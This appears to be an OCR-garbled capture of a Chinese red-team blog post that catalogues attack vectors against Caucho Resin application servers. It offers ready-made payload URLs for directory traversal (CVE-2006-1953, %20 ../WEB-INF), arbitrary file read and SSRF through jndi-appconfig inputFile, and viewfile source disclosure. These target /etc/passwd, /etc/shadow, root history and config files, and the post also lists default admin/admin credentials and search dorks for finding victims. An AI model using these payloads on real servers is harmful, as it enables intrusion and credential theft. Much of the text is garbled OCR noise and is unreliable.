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0x00 554

1 http://victim.com/resin-admin/
2 http://victim.com/resin-admin/status.php
3 admin/admin

0x01 CVE-2006-1953 Resin WindowsiGFz B %8 i R

SETH

https:/www.rapid7.com/resources/advisories/R7-0024.jsp
http:/www.nsfocus.net/vulndb/8829

FEuE
ﬁ?&un%au .

Caucho Technology Resin v3.0.18 for Windows
Caucho Technology Resin v3.0.17 for Windows

MRS

http://victim.com/C:%5C/
http://victim.com/D:%5C/
http://victim.com/E:%5C/
http://victim.com/F:%5C/
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0x02 Resin % 20{FE3C{4EHL

http:/webscan.360.cn/vul/view/vulid/3528
Resin Windows J ]
IRiRER
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Resin for Windows3XHl_Ef77E 2 NRIR | A2 A o] A6 R ILIRIRFER ARV UEE B
Resin A IEMIT RSB T URLIEEAN , AVPERERTHHEBSEURLFPREFEET REH DOS B&XH42 NAR
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Caucho Resin Professional v3.1.0 for Windows
Caucho Resin v3.1.0 for Windows

Caucho Resin v3.0.21 for Windows

Caucho Resin v3.0.20 for Windows

Caucho Resin v3.0.19 for Windows

Caucho Resin v3.0.18 for Windows

Caucho Resin v3.0.17 for Windows

KNOWN FIXED:

O 00N O U1 B W N -

[
(o)

Caucho Resin v3.1.1 for Windows
Caucho Resin Professional v3.1.1 for Windows
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UERACE

http://www.example.com:8080/[path]/[device].[extension]
http://www.example.com:8080/%20../web-inf
http://www.example.com:8080/%20
http://www.example.com:8080/[path]/%20.xtp
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0x03 Resin jndi-appconfig inputFile {£Z 3 #F15&HU/SSRF
% , Z Ja*hFEpayloads

/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/hosts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/shadow
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/nginx/conf/nginx.conf
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/sysconfig/network-scripts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=~/.bashrc history
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/root/.bashrc_history
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/www/nagios/WEB-INF/nagios
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/nagios/etc/hostgroup.cfg
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
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0x04 Resin viewfile {F3 3 {4iEHY

%
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/resin-doc/viewfile/?file=index.jsp

/resin-doc/viewfile/?file=config.xml

/resin-doc/viewfile/?file=WEB-INF/web.xml
/resin-doc/viewfile/?file=WEB-INF/resin-web.xml
/resin-doc/viewfile/?file=css/default.css
/resin-doc/viewfile/?file=examples/amber-session/WEB-INF/classes/example/User.java
/resin-doc/viewfile/?file=images/hbleed.gif

0x10 Payloads
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/usr/local/resin/conf/resin.conf

# #HZ¥Payload

/resin-doc/viewfile/?file=/WEB-INF/web.xml
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/hosts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=mimnfk%2s (Ceye)/NMIP
/%20 ../WEB-INF/

# 5504
/resin-admin/status.php

# fi74£Payload

/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/hosts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/shadow
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/nginx/conf/nginx.conf
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/sysconfig/network-scripts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=~/.bashrc history
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/root/.bashrc_history
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/www/nagios/WEB-INF/nagios
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/nagios/etc/hostgroup.cfg
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd

/resin-doc/viewfile/?file=/WEB-INF/web.xml

/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xml
/resin-doc/viewfile/?contextpath=/&servietpath=&file=/etc/hosts
/resin-doc/viewfile/?contextpath=/&servietpath=&file=/etc/shadow
/resin-doc/viewfile/?contextpath=/otherwebapp&servietpath=&file=WEB-INF/web.xml
/resin-doc/viewfile/?contextpath=./&servlietpath=&file=WEB-INF/web.xml
/resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
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35 /resin-doc/viewfile/?file=index.jsp
36
37 /resin-doc/examples/ioc-periodictask/viewfile?file=index.xtp

38 /resin-doc/examples/jndi-appconfig/test?inputFile=C:\Windows\system.ini
39

40
41
42

43 # &t33eittipayload

44 /kingdee/%20../web-inf/

45 /kingdee/%20../editor/

46 /kingdee/%20../disk/

47 # ADISRS ZRIK-S D (RTAERACE )

48 /kingdee/%20../web-inf/classes/ad config.conf
49 # ctopluEFEEIK-SHEAY

50 /kingdee/%20../web-inf/classes/ctop.conf

Sl # 4g(ERX%

52 /kingdee/%20../web-inf/classes/sms config.conf
53 # GWAE

54 /ctop/%20../web-inf/

55

56

ST # AR

58 /9%20../web-inf/

59 /9%20../WEB-INF/

60

61 # HFEMISSRF

62 /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://10.0.201.75
63 /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=https://www.secpulse.com/robot
64 /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=iEifiR%2% (Ceye)
65

66 # CVE-2006-1953

67 /A:%5C/

68 /B:%5C/

69 /C:%5C/

70 /D:%5C/

71 JE:9%5C/

72 /F:%5C/

73 /G:%5C/

74 /H:%5C/
75

0x11Z= 4
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1546 A-1541218

https://blkstone.github.io/2017/10/30/resin-attack-vectors/ a/7



9/21/26, 7:35 PM Fr3$ResinfiR 5 1A E%EE // Neurohazard
https:/web.archive.org/web/20130915134701/https:/www.rapid7.com/resources/advisories/R7-0028.jsp
https:/www.rapid7.com/resources/advisories/R7-0028.jsp
https:/www.rapid7.com/resources/advisories/R7-0029.jsp
https:/www.rapid7.com/resources/advisories/R7-0030.jsp

a. %20 {EESCHREEL
ResinjimiRF| AER G2 B 385/ L& ST ARG A
https:/www.secpulse.com/archives/39144.html

thE A F b7 {Eresin B FB FIRIR S E 2 Bk S Bt
https:/www.secpulse.com/archives/41485.html

b. jndi-appconfig inputFile {£E 3 {41%EU/SSRF
AR E S ik resin{ BB LA IExss— K
https:/www.secpulse.com/archives/37175.html

AR Fh ST B S AL ER AN SSRF TR
https:/www.secpulse.com/archives/34659.html

21CNI s ik ST E SR REUFISSREFIR TR (resinZZhF| FZ451)
https:/www.secpulse.com/archives/40166.html

c. viewfile {EE 3 #FEEL
SRR AEAUES L% | ResimTREsC %)
https:/www.secpulse.com/archives/15056.html

‘B &M MResin3r B EJwebshell
https:/www.secpulse.com/archives/14755.html
a2, ResinfiC. & IRiA
https:/www.secpulse.com/archives/13485.html

I ResinECE IR , SEBUR(E R ER
https:/www.secpulse.com/archives/12074.html

Eg A B [E FRresin{ T2 30 42EX

https:/www.secpulse.com/archives/9536.html

d. CVE-2006-1953 Resin Windows GF2 B 5%38 [71 i

ResinjmiRFIFAZEAF 2 Windows2 B RIR (DAEEAREH))
https:/www.secpulse.com/archives/37313.html
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JiFOA
T7 P2 ResiniR AT (X S50 F ISh il {5 Bttt 28
https:/www.secpulse.com/archives/30621.html

T3 PR GRS {E T A ResinARANT IR S IR £ % Wbl 5 45 St 25
https:/www.secpulse.com/archives/20697.html

e. 5504
AAMZ 4 Resing§H 4
https:/www.secpulse.com/archives/29247 .html

17173k S ResinfE 42551 4
https:/www.secpulse.com/archives/24364.html

0x12 BEILBIRAR

1 inurl:jndi-appconfig/test
2 Shadon
3 FOFA/Zoomeye

0x13 %M3E,

Ceye

HTTPE B i/ = fl ik

A[L$% Cplushua(F4) i) HTTP X (Freebuf AFFR)
XENERHIEME TR K.

http://ceye.io/record/index
https:/sso.telnet404.com/cas/login?service=http%3A%2F%2Fceye.io%2Flogin%2F

#HEBEME,  #Red Team

< 1989 ZF 2017 KIiX294FH RAT Y45t CVE-2014-0224 SSL/TLSH [B] A B RIR(CCSIEN) >
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